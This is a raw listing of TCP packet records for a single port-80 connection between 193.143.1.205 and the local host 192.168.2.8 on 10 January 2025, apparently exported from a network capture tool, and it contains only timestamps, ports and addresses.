Jan 10, 2025 18:49:32.319437027 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.319448948 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.319459915 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.319470882 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.319482088 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.319485903 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.319514990 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.319613934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.319626093 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.319636106 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.319645882 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.319658995 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.319660902 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.319672108 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.319699049 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.319710970 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.319747925 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.319760084 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.319797039 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.319829941 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.319839954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.319868088 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.319952965 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.319964886 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.319974899 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.319984913 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.320003986 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.320033073 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.320065022 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.320075989 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.320091963 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.320101023 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.320108891 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.320142984 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.320173025 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.320184946 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.320194960 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.320211887 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.320240021 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.323472977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.323518038 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.323529959 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.323575020 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.323602915 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.323622942 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.323647022 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.323719978 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.323733091 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.323754072 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.323782921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.323795080 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.323805094 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.323817015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.323822021 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.323833942 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.323843002 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.323874950 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.324003935 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.324016094 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.324055910 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.324089050 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.324100018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.324110985 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.324121952 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.324134111 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.324135065 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.324151993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.324161053 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.324182034 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.367630005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.367643118 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.367655039 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.367661953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.367762089 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.368474007 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.368519068 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.368530989 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.368566036 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.368664026 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.368675947 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.368688107 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.368699074 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.368726015 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.368771076 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.398127079 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.400019884 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.400042057 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.400052071 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.400120020 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.400130033 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.400141954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.400175095 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.400206089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.400218010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.400233030 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.400265932 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.400281906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.400316954 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.400350094 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.400362015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.400372982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.400397062 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.400501966 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.400513887 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.400527000 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.400536060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.400540113 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.400559902 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.401889086 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.402497053 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.402508020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.402522087 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.402544022 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.402559042 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.402569056 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.402581930 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.402621984 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.402654886 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.402666092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.402674913 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.402694941 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.425292015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.425312996 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.425321102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.425384998 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.425391912 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.425398111 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.425421953 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.425436974 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.425513029 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.425523996 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.425534010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.425554037 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.425668001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.425679922 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.425690889 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.425703049 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.425709009 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.425736904 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.425802946 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.425813913 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.425839901 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.425942898 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.425957918 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.425968885 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.425978899 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.425981045 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.425992012 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.426003933 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.426012039 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.426014900 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.426040888 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.426055908 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.426197052 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.426212072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.426223040 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.426232100 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.426244020 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.426263094 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.427104950 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.427124023 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.427134037 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.427174091 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.427201986 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.427236080 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.427265882 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.427278042 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.427310944 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.427357912 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.427370071 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.427402020 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.427483082 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.427494049 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.427505016 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.427515984 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.427525043 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.427551031 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.427716017 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.427725077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.427735090 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.427747965 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.427759886 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.427784920 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.428088903 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.428137064 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.428145885 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.428173065 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.428210020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.428220034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.428246975 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.428251982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.428261995 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.428272963 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.428282022 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.428307056 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.428415060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.428426027 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.428436041 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.428469896 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.428531885 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.428540945 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.428550005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.428561926 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.428569078 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.428597927 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.428767920 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.428780079 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.428790092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.428801060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.428807974 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.428812027 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.428838968 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.428852081 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.428925037 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.428935051 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.428945065 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.428961039 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.428962946 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.428973913 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.428987026 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.428997993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.429011106 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.429035902 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.429224014 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.429233074 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.429263115 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.429286003 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.429299116 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.429307938 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.429318905 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.429322004 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.429332018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.429347992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.429348946 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.429361105 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.429373980 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.429394960 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.431394100 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.431447029 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.431457996 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.431478024 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.431540966 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.431552887 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.431564093 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.431566954 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.431595087 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.431689978 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.431700945 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.431711912 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.431723118 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.431725979 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.431776047 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.431854010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.431864977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.431876898 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.431890011 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.431898117 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.431925058 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.431957006 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.431967020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.431977987 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.431988001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.431993008 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.432024956 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.432106018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.432116985 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.432126999 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.432138920 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.432142019 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.432148933 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.432159901 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.432182074 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.432207108 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.473314047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.473339081 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.473349094 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.473392963 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.473402977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.473413944 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.473442078 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.473480940 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.473494053 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.473505020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.473520994 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.473547935 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.473611116 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.498914003 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.498945951 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.498980999 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.499031067 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.499058962 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.499070883 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.499092102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.499108076 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.499121904 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.499125004 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.499141932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.499154091 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.499155045 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.499186993 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.499191999 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.499214888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.499228001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.499238014 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.499248028 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.499250889 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.499268055 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.499304056 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.499324083 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.499336004 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.500364065 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.500407934 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.500416994 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.500435114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.500446081 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.500463963 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.500509977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.500519991 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.500540018 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.500572920 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.500588894 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.500606060 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.510584116 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.516287088 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.516311884 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.516324043 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.516362906 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.516386986 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.516416073 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.516427994 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.516438961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.516452074 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.516479969 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.516505957 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.516602039 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.516613960 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.516653061 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.516693115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.516704082 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.516714096 CET	80	49704	193.143.1.205	192.168.2.8
